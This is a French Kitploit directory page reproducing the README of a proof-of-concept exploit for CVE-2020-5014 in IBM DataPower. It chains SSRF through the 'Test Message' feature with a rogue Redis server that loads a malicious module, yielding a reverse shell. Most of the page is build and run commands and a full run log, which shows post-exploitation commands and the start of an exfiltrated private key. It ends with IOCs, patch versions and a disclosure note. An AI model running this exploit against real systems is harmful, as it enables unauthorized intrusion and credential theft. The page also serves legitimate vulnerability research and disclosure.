Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
datapower-redis-rce-exploit — Un POC pour l'exploit RCE Redis authentifié d'IBM Datapower abusant de la fonction Test Message (CVE-2020-5014) | Kitploit
Outils/GitHubGitHub/copethomas/datapower-redis-rce-exploit
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubcopethomas/datapower-redis-rce-exploit

datapower-redis-rce-exploit

Un POC pour l'exploit RCE Redis authentifié d'IBM Datapower abusant de la fonction Test Message (CVE-2020-5014)

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôtSite web
22il y a 4 ansPas encore vérifié

datapower-redis-rce-exploit (CVE-2020-5014)

Une POC pour l'exploitation Redis RCE authentifiée d'IBM DataPower exploitant la fonction « Test Message ».

poc_demo

Explication complète et démo sur YouTube

Article de blog sur tomcope.com

Explication

En utilisant la fonction « Send a Test Message » de DataPower disponible via une session authentifiée à l'interface WebGUI de DataPower, il est possible de mener une attaque SSRF contre le serveur Redis interne de DataPower. Le serveur Redis interne est protégé par mot de passe mais semble utiliser un mot de passe codé en dur. Cela peut ensuite être combiné avec une vulnérabilité RCE Redis préexistante pour exécuter du code arbitraire en tant qu'utilisateur drouter dans le système d'exploitation Linux sous-jacent de DataPower.

Démarrage rapide

  1. Clonez ce dépôt
  2. Compilez le module :
    • cd RedisModulesSDK/dpredisshell/
    • make
  3. Compilez le code Go
    • go build
  4. Vérifiez les flags
    • ./datapower-redis-rce-exploit -h
  5. Exécutez l'exploit
    • ./datapower-redis-rce-exploit -dpip 1.2.3.4 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd xxx -fakeredisip 5.6.7.8

Exemple

Voici un exemple pratique exécutant DataPower via Docker et l'exploit localement via localhost :

  1. docker run -it -e DATAPOWER_ACCEPT_LICENSE=true -e DATAPOWER_INTERACTIVE=true -e DATAPOWER_WORKER_THREADS=4 --network='host' ibmcom/datapower:10.0.1.1
  2. Connectez-vous à DataPower avec le nom d'utilisateur admin et le mot de passe admin
  3. Configurez avec l'interface WebGUI :
root@kitploit:~
idg# config
Global mode
idg(config)# web-mgmt
Modify Web Management Service configuration

idg(config web-mgmt)# admin-state enabled
idg(config web-mgmt)# exit
idg(config)# write mem
Overwrite previously saved configuration? Yes/No [y/n]: y
Configuration saved successfully.
idg(config)# exit
idg# 
  1. Vérifiez que l'interface WebUI est active :
root@kitploit:~
idg# show web-mgmt

web-mgmt [up] 
--------
 admin-state enabled 
 ip-address 0.0.0.0 
 port 9090 
 save-config-overwrite on 
 idle-timeout 600 Seconds
 acl web-mgmt  [up]
 ssl-config-type server 
 enable-sts on 

idg# 
  1. Ouvrez une nouvelle fenêtre de terminal
  2. Clonez ce dépôt
    • git clone https://github.com/copethomas/datapower-redis-rce-exploit
  3. Compilez le module :
    • cd RedisModulesSDK/dpredisshell/
    • make
  4. Compilez le code Go
    • cd ../../
    • go build
  5. Chargez le mot de passe Redis interne dans votre shell. (Lisez l'Explication pour plus de détails)
root@kitploit:~
$ read DPREDISPASSWD
apples
$ echo $DPREDISPASSWD
apples
  1. Exécutez l'exploit :
root@kitploit:~
$ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888
Main      - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope
Main      - 2020/10/18 23:34:29 Starting Rogue Redis Server...
Main      - 2020/10/18 23:34:29 Attempting to Login to Datapower...
FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888
FakeRedis - 2020/10/18 23:34:29 Online and Ready!
Main      - 2020/10/18 23:34:29 Datapower Credentials Valid!
Main      - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5
Main      - 2020/10/18 23:34:29 Exchanging Login token for auth cookie...
Main      - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+
Main      - 2020/10/18 23:34:29 Datapower Login Complete!
Main      - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ...
Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Accepting connection...
FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK!
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK
Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection...
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Uploading module...
FakeRedis - 2020/10/18 23:34:29 Upload Complete!
Main      - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis!
Main      - 2020/10/18 23:34:29 Performing clean up...
Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected)
FakeRedis - 2020/10/18 23:34:29 Connection Closed
Main      - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK
Main      - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ...
Main      - 2020/10/18 23:34:30 Waiting for Reverse Shell...
Main      - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:30 Accepting connection...
Main      - 2020/10/18 23:34:30 Got Reverse Shell!
Main      - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
id
uid=1000(drouter) gid=1000(drouter) groups=1000(drouter)
ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
drouter        1       0  6 22:00 pts/0    00:02:15 /opt/ibm/datapower/root/drouter
drouter       24       1  0 22:00 pts/0    00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement
drouter       27      24  0 22:00 pts/0    00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379
drouter       28      24  0 22:00 pts/0    00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel]
drouter       40       1  0 22:00 pts/0    00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0
drouter       61      27  0 22:34 pts/0    00:00:00 [sh]
drouter       63      61  0 22:34 pts/0    00:00:00 
find / -name webgui-privkey.pem 2>/dev/null
/opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT

IOCs

Pendant l'exploit, DataPower enregistrera plusieurs erreurs url-open avec l'URL Redis interne. Cela est dû au fait que Redis ne répond pas au format XML attendu par DataPower.

root@kitploit:~
18:22:55	network	error	130	request	  	0x80e00040	xmlfirewall (map): url-open: Remote error on url 'http://127.0.0.1:16379/'

Correctif / Patch

Corrigé dans les versions 10.0.1.2 et 2018.4.1.15

  • https://www.ibm.com/support/pages/node/6426789
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5014

Liens et remerciements

  • https://github.com/n0b0dyCN/redis-rogue-server - Pour la version Python de cet exploit et le module Redis exp.c
  • https://github.com/RicterZ/RedisModules-ExecuteCommand - Pour le module Redis original
  • https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf - Pour la découverte de la RCE Redis

Découverte originale faite par moi (Thomas Cope) le 21 octobre 2020 - Signalée via Hackerone à IBM

Télécharger l’outil